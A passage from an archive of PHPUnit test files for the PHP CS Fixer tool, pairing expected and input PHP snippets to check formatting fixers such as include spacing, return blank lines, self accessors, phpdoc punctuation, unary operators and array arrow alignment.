                "<?php include 'foo.php';",
                "<?php include   'foo.php';",
            ),
            array(
                "<?php include 'foo.php';",
                "<?php include   'foo.php'  ;",
            ),
            array(
                "<?php include 'foo.php';",
                "<?php include   ('foo.php')  ;",
            ),
            array(
                '<?php include "Buzz/foo-Bar.php";',
                '<?php include (  "Buzz/foo-Bar.php" );',
            ),
            array(
                '<?php include "$buzz/foo-Bar.php";',
                '<?php include (  "$buzz/foo-Bar.php" );',
            ),
            array(
                '<?php include "{$buzz}/foo-Bar.php";',
                '<?php include (  "{$buzz}/foo-Bar.php" );',
            ),
            array(
                "<?php include 'foo.php';",
                "<?php include('foo.php');",
            ),
            array(
                "<?php include_once 'foo.php';",
                "<?php include_once( 'foo.php' );",
            ),
            array(
                '<?php require $foo ? "foo.php" : "bar.php";',
                '<?php require($foo ? "foo.php" : "bar.php");',
            ),
            array(
                '<?php require $foo  ?  "foo.php"  :  "bar.php";',
                '<?php require($foo  ?  "foo.php"  :  "bar.php");',
            ),
            array(
                "<?php return require_once __DIR__.'foo.php';",
                "<?php return require_once  __DIR__.'foo.php';",
            ),
            array(
                "<?php \$foo = require_once __DIR__.('foo.php');",
                "<?php \$foo = require_once  __DIR__.('foo.php');",
            ),
            array(
                "<?php     require_once __DIR__.('foo.php');",
                "<?php     require_once  (__DIR__.('foo.php'));",
            ),
            array(
                "<?php     require_once __DIR__ . ('foo.php');",
                "<?php     require_once  (__DIR__ . ('foo.php'));",
            ),
            array(
                "<?php require_once dirname(__FILE__).'foo.php';",
                "<?php require_once (dirname(__FILE__).'foo.php');",
            ),
            array(
                '<?php ClassCollectionLoader::load(include($this->getCacheDir().\'classes.map\'), $this->getCacheDir(), $name, $this->debug, false, $extension);',
            ),
            array(
                "<?php require_once '\".__DIR__.\"/../bootstrap.php';",
            ),
            array(
                '// require foo',
            ),
            array(
                '<?php // require foo',
            ),
            array(
                '* require foo',
            ),
            array(
                '<?php /* require foo */',
            ),
            array(
                'exit(\'POST must include "file"\');',
            ),
            array(
                '<?php include_once "foo/".CONSTANT."/bar.php";',
                '<?php include_once("foo/".CONSTANT."/bar.php");',
            ),
            array(
                '<?php include_once "foo/".CONSTANT."/bar.php"; include_once "foo/".CONSTANT."/bar.php";',
                '<?php include_once("foo/".CONSTANT."/bar.php"); include_once("foo/".CONSTANT."/bar.php");',
            ),
            array(
                '<?php include_once "foo/".CONSTANT."/bar.php"; $foo = "bar";',
                '<?php include_once("foo/".CONSTANT."/bar.php"); $foo = "bar";',
            ),
            array(
                '<?php include_once "foo/".CONSTANT."/bar.php"; foo();',
                '<?php include_once("foo/".CONSTANT."/bar.php"); foo();',
            ),
            array(
                '<?php include_once "foo/" . CONSTANT . "/bar.php";',
                '<?php include_once("foo/" . CONSTANT . "/bar.php");',
            ),
            array(
                '<?php require ($a ? $b : $c) . $d;',
            ),
            array(
                '<?php require($a ? $b : $c) . $d;',
            ),
            array(
                '<?php $foo = (false === include($zfLibraryPath."/Zend/Loader/StandardAutoloader.php"));',
            ),
            array(
                '<?php require_once SOME_CONST . "file.php"; require Foo::Bar($baz);',
                '<?php require_once( SOME_CONST . "file.php" ); require Foo::Bar($baz);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ReturnFixerTest.php000066600000004460151456236460020517 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class ReturnFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            array(
                '
$a = $a;
return $a;',
            ),
            array(
                '<?php
$a = $a;

return $a;',
                '<?php
$a = $a; return $a;',
            ),
            array(
                '<?php
$b = $b;

return $b;',
                '<?php
$b = $b;return $b;',
            ),
            array(
                '<?php
$c = $c;

return $c;',
                '<?php
$c = $c;
return $c;',
            ),
            array(
                '<?php
    $d = $d;

    return $d;',
                '<?php
    $d = $d;
    return $d;',
            ),
            array(
                '<?php
    if (true) {
        return 1;
    }',
            ),
            array(
                '<?php
    if (true)
        return 1;
    ',
            ),
            array(
                '<?php
    if (true) {
        return 1;
    } else {
        return 2;
    }',
            ),
            array(
                '<?php
    if (true)
        return 1;
    else
        return 2;
    ',
            ),
            array(
                '<?php
    if (true) {
        return 1;
    } elseif (false) {
        return 2;
    }',
            ),
            array(
                '<?php
    if (true)
        return 1;
    elseif (false)
        return 2;
    ',
            ),
            array(
                '<?php
    throw new Exception("return true;");',
            ),
            array(
                '<?php
    function foo()
    {
        // comment
        return "foo";
    }',
            ),
            array(
                '<?php
    function foo()
    {
        // comment

        return "bar";
    }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SelfAccessorFixerTest.php000066600000006165151456236460021620 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class SelfAccessorFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideExamples()
    {
        return array(
            array(
                '<?php class Foo { const BAR = self::BAZ; }',
                '<?php class Foo { const BAR = Foo::BAZ; }',
            ),
            array(
                '<?php class Foo { private $bar = self::BAZ; }',
                '<?php class Foo { private $bar = fOO::BAZ; }', // case insensitive
            ),
            array(
                '<?php class Foo { function bar($a = self::BAR) {} }',
                '<?php class Foo { function bar($a = Foo::BAR) {} }',
            ),
            array(
                '<?php class Foo { function bar() { self::baz(); } }',
                '<?php class Foo { function bar() { Foo::baz(); } }',
            ),
            array(
                '<?php class Foo { function bar() { self::class; } }',
                '<?php class Foo { function bar() { Foo::class; } }',
            ),
            array(
                '<?php class Foo { function bar() { $x instanceof self; } }',
                '<?php class Foo { function bar() { $x instanceof Foo; } }',
            ),
            array(
                '<?php class Foo { function bar() { new self(); } }',
                '<?php class Foo { function bar() { new Foo(); } }',
            ),
            array(
                '<?php interface Foo { const BAR = self::BAZ; function bar($a = self::BAR); }',
                '<?php interface Foo { const BAR = Foo::BAZ; function bar($a = Foo::BAR); }',
            ),

            array(
                '<?php class Foo { const Foo = 1; }',
            ),
            array(
                '<?php class Foo { function foo() { } }',
            ),
            array(
                '<?php class Foo { function bar() { new \Baz\Foo(); } }',
            ),
            array(
                '<?php class Foo { function bar() { new Foo\Baz(); } }',
            ),
            array(
                // PHP < 5.4 compatibility: "self" is not available in closures
                '<?php class Foo { function bar() { function ($a = Foo::BAZ) { new Foo(); }; } }',
            ),
            array(
                '<?php class Foo { function bar() { 
                    new class() { function baz() { new Foo(); } }; 
                } }',
            ),
        );
    }

    /**
     * @requires PHP 5.4
     */
    public function testFix54()
    {
        $expected = '<?php trait Foo { function bar() { self::bar(); } }';
        $input = '<?php trait Foo { function bar() { Foo::bar(); } }';

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocShortDescriptionFixerTest.php000066600000015704151456236460023704 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocShortDescriptionFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testWithPeriod()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello.
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithQuestionMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello?
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithExclamationMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello!
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithInvertedQuestionMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello¿
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithInvertedExclamationMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello¡
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithUnicodeQuestionMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * ハロー?
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithUnicodeExclamationMark()
    {
        $expected = <<<'EOF'
<?php
    /**
     * ハロー!
     */

EOF;
        $this->makeTest($expected);
    }

    public function testWithJapanesePeriod()
    {
        $expected = <<<'EOF'
<?php
    /**
     * ハロー。
     */

EOF;
        $this->makeTest($expected);
    }

    public function testFixIncBlank()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hi.
     *
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hi
     *
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMultiline()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello
     * there.
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello
     * there
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testWithTags()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there.
     *
     * @param string $foo
     *
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there
     *
     * @param string $foo
     *
     * @return bool
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testWithLongDescription()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Hello there.
     *
     * Long description
     * goes here.
     *
     * @return bool
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Hello there
     *
     * Long description
     * goes here.
     *
     * @return bool
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testCrazyMultiLineComments()
    {
        $expected = <<<'EOF'
<?php
    /**
     * Clients accept an array of constructor parameters.
     *
     * Here's an example of creating a client using an URI template for the
     * client's base_url and an array of default request options to apply
     * to each request:
     *
     *     $client = new Client([
     *         'base_url' => [
     *              'http://www.foo.com/{version}/',
     *              ['version' => '123']
     *          ],
     *         'defaults' => [
     *             'timeout'         => 10,
     *             'allow_redirects' => false,
     *             'proxy'           => '192.168.16.1:10'
     *         ]
     *     ]);
     *
     * @param array $config Client configuration settings
     *     - base_url: Base URL of the client that is merged into relative URLs.
     *       Can be a string or an array that contains a URI template followed
     *       by an associative array of expansion variables to inject into the
     *       URI template.
     *     - handler: callable RingPHP handler used to transfer requests
     *     - message_factory: Factory used to create request and response object
     *     - defaults: Default request options to apply to each request
     *     - emitter: Event emitter used for request events
     *     - fsm: (internal use only) The request finite state machine. A
     *       function that accepts a transaction and optional final state. The
     *       function is responsible for transitioning a request through its
     *       lifecycle events.
     * @param string $foo
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * Clients accept an array of constructor parameters
     *
     * Here's an example of creating a client using an URI template for the
     * client's base_url and an array of default request options to apply
     * to each request:
     *
     *     $client = new Client([
     *         'base_url' => [
     *              'http://www.foo.com/{version}/',
     *              ['version' => '123']
     *          ],
     *         'defaults' => [
     *             'timeout'         => 10,
     *             'allow_redirects' => false,
     *             'proxy'           => '192.168.16.1:10'
     *         ]
     *     ]);
     *
     * @param array $config Client configuration settings
     *     - base_url: Base URL of the client that is merged into relative URLs.
     *       Can be a string or an array that contains a URI template followed
     *       by an associative array of expansion variables to inject into the
     *       URI template.
     *     - handler: callable RingPHP handler used to transfer requests
     *     - message_factory: Factory used to create request and response object
     *     - defaults: Default request options to apply to each request
     *     - emitter: Event emitter used for request events
     *     - fsm: (internal use only) The request finite state machine. A
     *       function that accepts a transaction and optional final state. The
     *       function is responsible for transitioning a request through its
     *       lifecycle events.
     * @param string $foo
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testWithNoDescription()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @return bool
     */

EOF;

        $this->makeTest($expected);
    }

    public function testWithInheritDoc()
    {
        $expected = <<<'EOF'
<?php
    /**
     * {@inheritdoc}
     */

EOF;

        $this->makeTest($expected);
    }

    public function testEmptyDocBlock()
    {
        $expected = <<<'EOF'
<?php
    /**
     *
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/SingleBlankLineBeforeNamespaceFixerTest.php000066600000004627151456236460025206 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class SingleBlankLineBeforeNamespaceFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideExamples
     *
     * @param string      $expected
     * @param string|null $input
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    /**
     * @return array
     */
    public function provideExamples()
    {
        return array(
            array("<?php\n\nnamespace X;"),
            array("<?php\n\nnamespace X;", "<?php\n\n\n\nnamespace X;"),
            array("<?php\r\n\r\nnamespace X;"),
            array("<?php\r\n\nnamespace X;", "<?php\r\n\r\n\r\n\r\nnamespace X;"),
        );
    }

    public function testFixExampleWithCommentTooMuch()
    {
        $expected = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

EOF;

        $input = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */


namespace Symfony\CS\Fixer\Contrib;

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixExampleWithCommentTooLittle()
    {
        $expected = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Fixer\Contrib;

EOF;

        $input = <<<'EOF'
<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */
namespace Symfony\CS\Fixer\Contrib;

EOF;

        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnaryOperatorsSpacesFixerTest.php000066600000006216151456236460023375 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Gregor Harlan <gharlan@web.de>
 */
class UnaryOperatorsSpacesFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        $cases = array(
            array(
                '<?php $a++;',
                '<?php $a ++;',
            ),
            array(
                '<?php $a--;',
                '<?php $a --;',
            ),
            array(
                '<?php ++$a;',
                '<?php ++ $a;',
            ),
            array(
                '<?php --$a;',
                '<?php -- $a;',
            ),
            array(
                '<?php $a = !$b;',
                '<?php $a = ! $b;',
            ),
            array(
                '<?php $a = !!$b;',
                '<?php $a = ! ! $b;',
            ),
            array(
                '<?php $a = ~$b;',
                '<?php $a = ~ $b;',
            ),
            array(
                '<?php $a = &$b;',
                '<?php $a = & $b;',
            ),
            array(
                '<?php $a=&$b;',
            ),
            array(
                '<?php $a * -$b;',
                '<?php $a * - $b;',
            ),
            array(
                '<?php $a *-$b;',
                '<?php $a *- $b;',
            ),
            array(
                '<?php $a*-$b;',
            ),
            array(
                '<?php function &foo(){}',
                '<?php function & foo(){}',
            ),
        );

        if (PHP_VERSION_ID < 50400) {
            $cases [] = array(
                '<?php function foo(&$a, array &$b, Bar &$c) {}',
                '<?php function foo(& $a, array & $b, Bar & $c) {}',
            );

            $cases [] = array(
                '<?php foo(+$a, -2,-$b, &$c);',
                '<?php foo(+ $a, - 2,- $b, & $c);',
            );
        }

        return $cases;
    }

    /**
     * @dataProvider provideCases56
     * @requires PHP 5.6
     */
    public function testFix56($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases56()
    {
        return array(
            array(
                '<?php function foo($a, ...$b) {}',
                '<?php function foo($a, ... $b) {}',
            ),
            array(
                '<?php function foo(&...$a) {}',
                '<?php function foo(& ... $a) {}',
            ),
            array(
                '<?php function foo(array ...$a) {}',
            ),
            array(
                '<?php foo(...$a);',
                '<?php foo(... $a);',
            ),
            array(
                '<?php foo($a, ...$b);',
                '<?php foo($a, ... $b);',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/PhpdocNoPackageFixerTest.php000066600000002431151456236460022222 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Graham Campbell <graham@mineuk.com>
 */
class PhpdocNoPackageFixerTest extends AbstractFixerTestBase
{
    public function testFixPackage()
    {
        $expected = <<<'EOF'
<?php
    /**
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @package Foo\Bar
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixSubpackage()
    {
        $expected = <<<'EOF'
<?php
    /**
     */

EOF;

        $input = <<<'EOF'
<?php
    /**
     * @subpackage Foo\Bar\Baz
     */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixMany()
    {
        $expected = <<<'EOF'
<?php
/**
 * Hello!
 */

EOF;

        $input = <<<'EOF'
<?php
/**
 * Hello!
 * @package
 * @subpackage
 */

EOF;

        $this->makeTest($expected, $input);
    }

    public function testDoNothing()
    {
        $expected = <<<'EOF'
<?php
    /**
     * @var package
     */

EOF;

        $this->makeTest($expected);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/ExtraEmptyLinesFixerTest.php000066600000005224151456236460022334 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

class ExtraEmptyLinesFixerTest extends AbstractFixerTestBase
{
    public function testFix()
    {
        $expected = <<<'EOF'
<?php
$a = new Bar();

$a = new FooBaz();
EOF;

        $input = <<<'EOF'
<?php
$a = new Bar();


$a = new FooBaz();
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithManyEmptyLines()
    {
        $expected = <<<'EOF'
<?php
$a = new Bar();

$a = new FooBaz();
EOF;

        $input = <<<'EOF'
<?php
$a = new Bar();






$a = new FooBaz();
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithHeredoc()
    {
        $expected = '
<?php
$b = <<<TEXT
Foo TEXT
Bar


FooFoo
TEXT;
';

        $this->makeTest($expected);
    }

    public function testFixWithNowdoc()
    {
        $expected = '
<?php
$b = <<<\'TEXT\'
Foo TEXT;
Bar1}


FooFoo
TEXT;
';

        $this->makeTest($expected);
    }

    public function testFixWithEncapsulatedNowdoc()
    {
        $expected = '
<?php
$b = <<<\'TEXT\'
Foo TEXT
Bar

<<<\'TEMPLATE\'
BarFooBar TEMPLATE


TEMPLATE;


FooFoo
TEXT;
';

        $this->makeTest($expected);
    }

    public function testFixWithMultilineString()
    {
        $expected = <<<'EOF'
<?php
$a = 'Foo


Bar';
EOF;

        $this->makeTest($expected);
    }

    public function testFixWithTrickyMultilineStrings()
    {
        $expected = <<<'EOF'
<?php
$a = 'Foo';

$b = 'Bar


Here\'s an escaped quote '

.

'


FooFoo';
EOF;

        $input = <<<'EOF'
<?php
$a = 'Foo';


$b = 'Bar


Here\'s an escaped quote '


.


'


FooFoo';
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithCommentWithAQuote()
    {
        $expected = <<<'EOF'
<?php
$a = 'foo';

// my comment's gotta have a quote
$b = 'foobar';

$c = 'bar';
EOF;

        $input = <<<'EOF'
<?php
$a = 'foo';


// my comment's gotta have a quote
$b = 'foobar';


$c = 'bar';
EOF;

        $this->makeTest($expected, $input);
    }

    public function testFixWithTrailingInlineBlock()
    {
        $expected = "
<?php
    echo 'ellow';
?>

\$a = 0;



//a

<?php

\$a = 0;

\$b = 1;

//a
?>



";
        $this->makeTest($expected);
    }

    public function testFixWithComments()
    {
        $expected = <<<'EOF'
<?php
//class Test
$a; //

$b;
EOF;

        $input = <<<'EOF'
<?php
//class Test
$a; //




$b;
EOF;
        $this->makeTest($expected, $input);
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/UnalignDoubleArrowFixerTest.php000066600000021502151456236460022777 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class UnalignDoubleArrowFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideFixCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideFixCases()
    {
        return array(
            array(
                '<?php
    $data = [
        "foo" => "Bar",
        "main" => array(
            [
                "baz" => "Test",
                "bazaa" => $a->{"Test"},
                "bazaa" => $a["Test"],
                "bazaaaa" => b("Test"),
            ]
        ),
        "bar" => array(),
    ];',
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => array(
            [
                "baz"     => "Test",
                "bazaa"   => $a->{"Test"},
                "bazaa"   => $a["Test"],
                "bazaaaa" => b("Test"),
            ]
        ),
        "bar"  => array(),
    ];',
            ),
            array(
                '<?php
    $data = [
        "foo" => "Bar",
        "main" => [array("baz" => "Test")],
        "bar" => array(),
    ];
    $data = array(
        "foo" => "Bar",
        "main" => array("baz" => "Test"),
        "bar" => array(),
    );
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = /* Comment */ [$i => $bar];
    }',
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [array("baz" => "Test")],
        "bar"  => array(),
    ];
    $data = array(
        "foo"  => "Bar",
        "main" => array("baz" => "Test"),
        "bar"  => array(),
    );
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = /* Comment */ [$i => $bar];
    }',
            ),
            array(
                '<?php
    $data = [
        "foo" => "Bar",
        "main" => [array("baz" => "Test")],
        "bar" => array(),
    ];',
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [array("baz" => "Test")],
        "bar"  => array(),
    ];',
            ),
            array(
                '<?php
    $data = array(
        "foo" => "Bar",
        "main" => array("baz" => "Test"),
        "bar" => array(),
    );',
                '<?php
    $data = array(
        "foo"  => "Bar",
        "main" => array("baz" => "Test"),
        "bar"  => array(),
    );',
            ),
            array(
                '<?php
    $data = array(
        "foo" => "Bar",
        "main" => array(array("baz" => "Test")),
        "bar" => array(),
    );',
                '<?php
    $data = array(
        "foo"  => "Bar",
        "main" => array(array("baz" => "Test")),
        "bar"  => array(),
    );',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = /* Comment */ [$i => $bar];
    }',
                '<?php
    $var = [];
    foreach ($foo as $i  =>  $bar) {
        $var[] = /* Comment */ [$i  =>  $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $i => $bar) {
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ([1 => 2] as $k => $v) {
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach (fncCall() as $k => $v){
        $var[] = [$i => $bar];
    }',
            ),
            array(
                '<?php
    $var = [];
    foreach ($foo as $bar) {
        $var[] = [
            $i => $bar,
            $iaaa => $bar,
        ];
    }',
                '<?php
    $var = [];
    foreach ($foo as $bar) {
        $var[] = [
            $i    => $bar,
            $iaaa => $bar,
        ];
    }',
            ),
            array(
                '<?php
    $data = [
        "foo" => "Bar",
        "main" => [["baz" => "Test", "bar" => "Test2"]],
        "bar" => [],
    ];',
                '<?php
    $data = [
        "foo"  => "Bar",
        "main" => [["baz" => "Test", "bar" => "Test2"]],
        "bar"  => [],
    ];',
            ),
            array(
                '<?php
    $a = [
        0 => 1,
        10 /*Comment*/ => [
            1 => 2,
            22 => 3,
        ],
        100 => [
            1 => 2,
            22 => 3,
        ]
    ];',
                '<?php
    $a = [
        0  => 1,
        10 /*Comment*/ => [
            1  => 2,
            22 => 3,
        ],
        100 => [
            1  => 2,
            22 => 3,
        ]
    ];',
            ),
            array(
                '<?php
    $a = array(
        0 => 1,
        10 => array(
            1 => 2,
            22 => 3,
        ),
        100 => array(
            1 => 2,
            22 => 3,
        )
    );',
                '<?php
    $a = array(
        0  => 1,
        10 => array(
            1  => 2,
            22 => 3,
        ),
        100 => array(
            1  => 2,
            22 => 3,
        )
    );',
            ),
            array(
                '<?php
    $arr = array(
        $a => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    );',
                '<?php
    $arr = array(
        $a    => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    );',
            ),
            array(
                '<?php
    $arr = [
        $a => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    ];',
                '<?php
    $arr = [
        $a    => 1,
        $bbbb => \'
        $cccccccc = 3;
        \',
    ];',
            ),
            array(
                '<?php
    foreach($arr as $k => $v){
        $arr = array($k => 1,
            $a => 1,
            $bbbb => \'
            $cccccccc = 3;
            \',
        );
    }',
                '<?php
    foreach($arr as $k => $v){
        $arr = array($k => 1,
            $a          => 1,
            $bbbb       => \'
            $cccccccc = 3;
            \',
        );
    }',
            ),
            array(
                '<?php
    $a = array(
        10 => 11,
        20 => 22,
        30=>33,
        40
            =>
                44,
    );',
                '<?php
    $a = array(
        10    => 11,
        20    => 22,
        30=>33,
        40
            =>
                44,
    );',
            ),
            array(
                '<?php
    return array(
        " " => "",    "\t" => "",
        "\n" => "", "\r" => "",
        "\0" => "", "\x0B" => "",
    );',
                '<?php
    return array(
        " "   => "",    "\t"    => "",
        "\n"   => "", "\r"   => "",
        "\0"  => "", "\x0B"    => "",
    );',
            ),
            array(
                '<?php
    return $this->grabAttribsBeforeToken(
        $tokens,
        $index,
        $tokenAttribsMap,
        array(
            "abstract" => null,
            "final" => null,
            "visibility" => new Token(array(T_PUBLIC, "public")),
            "static" => null,
        )
    );',
                '<?php
    return $this->grabAttribsBeforeToken(
        $tokens,
        $index,
        $tokenAttribsMap,
        array(
            "abstract"   => null,
            "final"      => null,
            "visibility" => new Token(array(T_PUBLIC, "public")),
            "static"     => null,
        )
    );',
            ),
            array(
                '<?php
    return array(
        self::STATUS_UNKNOWN => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID => array("symbol" => "III", "description" => "invalid file syntax, file ignored"),
    );',
                '<?php
    return array(
        self::STATUS_UNKNOWN => array("symbol" => "?", "description" => "unknown"),
        self::STATUS_INVALID    => array("symbol" => "III", "description" => "invalid file syntax, file ignored"),
    );',
            ),
            array(
                '<?php
    $array = array(
        "bazab" => b(array(
            1 => 2,
            5 => [
                6 => 7,
                8 => 9,
            ],
            3 => 4,
            10 => 11,
        )),
    );',
                '<?php
    $array = array(
        "bazab" => b(array(
            1 => 2,
            5     => [
                6 => 7,
                8     => 9,
            ],
            3    => 4,
            10      => 11,
        )),
    );',
            ),
            array(
                '<?php
    Foo::test()->aaa(array(1 => 2))->bbb("a", "b");
',
            ),
            array(
                '<?php
    function foo() {
        yield 1 => 2;
    }',
            ),
        );
    }
}
php-cs-fixer/Symfony/CS/Tests/Fixer/Symfony/JoinFunctionFixerTest.php000066600000004242151456236460021643 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tests\Fixer\Symfony;

use Symfony\CS\Tests\Fixer\AbstractFixerTestBase;

/**
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 */
class JoinFunctionFixerTest extends AbstractFixerTestBase
{
    /**
     * @dataProvider provideCases
     */
    public function testFix($expected, $input = null)
    {
        $this->makeTest($expected, $input);
    }

    public function provideCases()
    {
        return array(
            // valid cases
            array('<?php $foo->join($a);'),
            array('<?php joinFoo($a);'),
